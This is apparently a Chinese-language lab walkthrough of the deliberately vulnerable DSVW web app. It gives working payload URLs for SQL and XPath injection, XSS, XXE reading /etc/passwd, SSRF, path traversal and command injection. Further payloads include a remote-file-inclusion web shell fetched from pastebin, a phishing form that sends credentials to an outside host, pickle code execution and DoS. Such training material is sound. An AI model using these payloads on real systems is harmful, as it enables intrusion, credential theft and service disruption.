前言

Damn Small Vulnerable Web (DSVW) 是一个包含多种 Web 应用程序漏洞的应用程序,用不到 100 行的 Python 代码实现,同时给出了漏洞利用的示例。虽然不到 100 行,但是一行可以超长(摊手)。

实验环境

  • VirtualBox 6.0.18
  • Ubuntu 16.04.6 Server
  • DSVW v0.2a
  • Python 3.5.2
  • python-lxml

项目地址

SQLite 相关

数据库

数据库使用 SQLite3 ,并已经创建了 users 和 comments 两张数据表。

users 数据表

字段 类型
id INTEGER PRIMARY KEY AUTOINCREMENT
username TEXT
name TEXT
surname TEXT
password TEXT

根据 xml 向 users 表中填充数据。

id username name surname password
1 admin admin admin 7en8aiDoh!
2 dricci dian ricci 12345
3 amason anthony mason gandalf
4 svargas sandra vargas phest1945

comments 数据表

字段 类型
id INTEGER PRIMARY KEY AUTOINCREMENT
comment TEXT
time TEXT

XML

用户数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?xml version="1.0" encoding="utf-8"?>
<users>
<user id="0">
<username>admin</username>
<name>admin</name>
<surname>admin</surname>
<password>7en8aiDoh!</password>
</user>
<user id="1">
<username>dricci</username>
<name>dian</name>
<surname>ricci</surname>
<password>12345</password>
</user>
<user id="2">
<username>amason</username>
<name>anthony</name>
<surname>mason</surname>
<password>gandalf</password>
</user>
<user id="3">
<username>svargas</username>
<name>sandra</name>
<surname>vargas</surname>
<password>phest1945</password>
</user>
</users>

漏洞

Blind SQL Injection (boolean)

布尔型盲注:利用查询结果返回的 True 或 False 返回不同的结果

判断 admin 的密码的第一位是否为 7,若是则返回 id=2 的结果,否则返回为空。

1
http://10.0.2.5:65412/?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='7'

Blind SQL Injection (time)

时间盲注:根据响应时间推测查询结果的真假

判断 admin 密码的第二位是否为 e,若是则随机生成 300000000 字节的数据,并转换为大写十六进制,然后匹配 ABCDEFG 从而实现延迟返回,否则立即返回。

1
http://10.0.2.5:65412/?id=(SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),2,1)='e') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))

UNION SQL Injection

联合查询注入:利用 UNION 将多个查询结果组合为一个结果,并作为 HTTP 响应的一部分返回

查询 id=2 的用户信息,同时联合查询 users 表中 admin 的 id、username、password,保证 4 个字段的长度匹配

1
http://10.0.2.5:65412/?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT id||','||username||','||password FROM users WHERE username='admin')

Login Bypass

登陆绕过:基于数字型 SQL 注入的绕过

以 admin 用户身份登录,成功登录后马上重定向到首页了23333

1
2
3
4
http://10.0.2.5:65412/login?username=admin&password=' OR '1' LIKE '1

# 简化
http://10.0.2.5:65412/login?username=admin&password=' OR '1

HTTP Parameter Pollution

HTTP 参数污染:简称为 HPP,未对请求参数类型进行严格验证

同样实现了登陆绕过,也同样马上重定向到首页了23333

1
2
3
4
http://10.0.2.5:65412/login?username=admin&password='/*&password=*/OR/*&password=*/'1'/*&password=*/LIKE/*&password=*/'1

# 简化
http://10.0.2.5:65412/login?username=admin&password='/*&password=*/OR/*&password=*/'1

Cross Site Scripting (reflected)

反射型 XSS:也称为非持久型 XSS ,只是简单地将用户输入“反射”给浏览器

利用 JavaScript 弹窗提示 arbitrary javascript

1
http://10.0.2.5:65412/?v=0.2<script>alert("arbitrary javascript")</script>

Cross Site Scripting (stored)

存储型 XSS:也称为持久型 XSS ,将输入的外部数据“存储”在服务端或客户端,当用户访问被注入的网站时,攻击者预留在这个网站的 XSS 漏洞都可以被自动载入执行

将 <script>alert("arbitrary javascript")</script> 作为评论存储在服务器数据库中,每当访问评论页面时就弹窗提示 arbitrary javascript

1
http://10.0.2.5:65412/?comment=<script>alert("arbitrary javascript")</script>

Cross Site Scripting (DOM)

基于文档对象模型的 XSS:DOM 全称文档对象模型,对外部输入数据未进行验证,根据输入修改页面的 DOM 节点

进行处理后触发

1
http://10.0.2.5:65412/?foobar#lang=en<script>alert("arbitrary javascript")</script>

Cross Site Scripting (JSONP)

JSONP 劫持:JSONP 是一种通过 JavaScript 进行跨域请求的方法,请求动态生成的JavaScript 脚本同时带一个callback函数名作为参数

执行 JavaScript 代码并返回 users.json

1
http://10.0.2.5:65412/users.json?callback=alert("arbitrary javascript");process

XML External Entity (local)

XXE 注入(本地):全称 XML External Entity(XML 外部实体),Web 应用程序对外部提供的 XML 输入未进行净化和验证

访问服务器文件系统上的用户信息文件 /etc/passwd

1
http://10.0.2.5:65412/?xml=<!DOCTYPE example [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>

XML External Entity (remote)

XXE 注入(远程):原理同上

加载远程文件

1
http://10.0.2.5:65412/?xml=<!DOCTYPE example [<!ENTITY xxe SYSTEM "http://pastebin.com/raw.php?i=h1rvVnvx">]><root>&xxe;</root>

远程(墙外)文件的内容如下

1
Hello, World!

Server Side Request Forgery

服务端请求伪造:简称 SSRF,由攻击者构造形成由服务器端发起请求,常用于访问内网资源

由服务器发起请求,若服务器开放了 631 端口则返回得到信息,否则返回 500 错误

1
http://10.0.2.5:65412/?path=http://10.0.2.5:631

Blind XPath Injection (boolean)

布尔型 XPath 盲注:与布尔型 SQL 注入类似,Web 应用程序对外部输入的数据未经验证用于构造 XML 数据

如果 admin 密码的第三位为 n 则返回 name=admin 的信息,否则返回为空。

1
http://10.0.2.5:65412/?name=admin' and substring(password/text(),3,1)='n

Cross Site Request Forgery

跨站请求伪造:简称为 CSRF,在用户不知情条件下,利用网站信任已认证用户身份执行非用户预期行为

利用 <img> 标签发布红色字体的 I quit the job 评论

1
http://10.0.2.5:65412/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E

解码两次

1
http://10.0.2.5:65412/?v=<img src="/?comment=<div style="color:red; font-weight: bold">I quit the job</div>">

Frame Injection (phishing)

框架注入(钓鱼):向 Web 应用程序前端注入恶意页面的框架,诱骗用户重定向到其它网站上

属于 XSS 攻击的一种,将虚假的登录地址写入 iframe 标签中

1
http://10.0.2.5:65412/?v=0.2<iframe src="http://dsvw.c1.biz/i/login.html" style="background-color:white;z-index:10;top:10%;left:10%;position:fixed;border-collapse:collapse;border:1px solid #a8a8a8"></iframe>

Frame Injection (content spoofing)

框架注入(内容欺骗):原理同上,向用户显示其他网站上的资源

将其他内容写入 iframe 标签中

1
http://10.0.2.5:65412/?v=0.2<iframe src="http://dsvw.c1.biz/" style="background-color:white;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" frameborder="0"></iframe>

Clickjacking

点击劫持:将恶意代码隐藏在看起来正常的网页中,并诱使用户点击

点击网页任意位置跳转到 http://dsvw.c1.biz/ ,同时使用 alert() 弹窗提示

1
http://10.0.2.5:65412/?v=0.2<div style="opacity:0;filter:alpha(opacity=20);background-color:#000;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" onclick="document.location='http://dsvw.c1.biz/'"></div><script>alert("click anywhere on page");</script>

Unvalidated Redirect

未验证的重定向:未验证用户输入的数据,导致重定向到不受信任的 URL

重定向到网页 http://dsvw.c1.biz

1
http://10.0.2.5:65412/?redir=http://dsvw.c1.biz

Arbitrary Code Execution

任意代码执行:未验证用户输入的数据,用户输入的任意数据被当作代码执行

执行 ifconfig 查看服务器网络信息

1
http://10.0.2.5:65412/?domain=www.google.com; ifconfig

Full Path Disclosure

完整路径泄露:简称为 FPD,该漏洞使得攻击者可以查看 Web 应用程序的根目录路径

查看 Web 应用程序在服务器端的完整路径

1
http://10.0.2.5:65412/?path=foobar

Source Code Disclosure

源码泄露:服务器端的源代码泄露给用户

回显 Web 应用程序的源代码

1
http://10.0.2.5:65412/?path=dsvw.py

Path Traversal

路径遍历:未验证用户输入,使其能够遍历搜索服务器上的文件

访问服务器上的用户信息

1
http://10.0.2.5:65412/?path=../../../../../../etc/passwd

File Inclusion (remote)

远程文件包含:简称 RFI,动态包含远程文件,实现恶意代码的执行

包含一个远程文件,获得 Shell 并执行 ifconfig 指令

1
http://10.0.2.5:65412/?include=http://pastebin.com/raw.php?i=6VyyNNhc&cmd=ifconfig

包含的远程(墙外)文件内容如下

1
2
3
4
5
6
7
8
9
import re
import subprocess
import urllib.parse

params = dict((match.group("parameter"), urllib.parse.unquote(match.group("value"))) for match in re.finditer(r"((\A|[?&])(?P<parameter>[\w\[\]]+)=)(?P<value>[^&]+)", QUERY_STRING))

if "cmd" in params:
result = subprocess.check_output(params["cmd"], shell=True, stderr=subprocess.STDOUT)
print("<pre>%s</pre>" % result.decode())

HTTP Header Injection (phishing)

HTTP 请求头注入(钓鱼):也称为 响应拆分,篡改 Web 应用程序的响应结果,从而诱骗用户

使用 CLRF 来分割字段中的数据

1
2
3
4
5
http://10.0.2.5:65412/?charset=utf8
X-XSS-Protection:0
Content-Length:388

<!DOCTYPE html><html><head><title>Login</title></head><body style='font: 12px monospace'><form action="http://dsvw.c1.biz/i/log.php" onSubmit="alert('visit \'http://dsvw.c1.biz/i/log.txt\' to see your phished credentials')">Username:<br><input type="text" name="username"><br>Password:<br><input type="password" name="password"><input type="submit" value="Login"></form></body></html>

Component with Known Vulnerability (pickle)

已知漏洞组件:Web 应用程序依靠由第三方开发和提供的各种软件组件,包括开源组件和商用组件,组件包含漏洞

Python 的 pickle 存在反序列化漏洞,利用 pickle.dumps() 生成序列化内容,当服务器端执行反序列化时执行代码 ping -c 5 127.0.0.1

1
2
3
4
5
6
7
8
9
10
http://10.0.2.5:65412/?object=%80%03%7Dq%00%28X%07%00%00%00svargasq%01X%06%00%00%00sandraq%02X%06%00%00%00vargasq%03%86q%04X%06%00%00%00dricciq%05X%04%00%00%00dianq%06X%05%00%00%00ricciq%07%86q%08X%05%00%00%00adminq%09X%05%00%00%00adminq%0AX%05%00%00%00adminq%0B%86q%0CX%06%00%00%00amasonq%0DX%07%00%00%00anthonyq%0EX%05%00%00%00masonq%0F%86q%10u.

# 解码
http://10.0.2.5:65412/?object=cos%0Asystem%0A(S%27ping%20-c%205%20127.0.0.1%27%0AtR.%0A

# 再解码
http://10.0.2.5:65412/?object=cos
system
(S'ping -c 5 127.0.0.1'
tR.

Denial of Service (memory)

拒绝服务攻击:简称为 DoS,通过过量的输入数据造成 Web 应用程序有关数据被覆盖、修改,大量消耗系统资源,最终导致 Web 应用进入挂起甚至崩溃状态

消耗服务器的内存资源,从而导致服务器宕机

Time required (to 'resize image' to 32x32): 0.000039 seconds

1
http://10.0.2.5:65412/?size=9999999

参阅

OWASP 相关内容

漏洞相关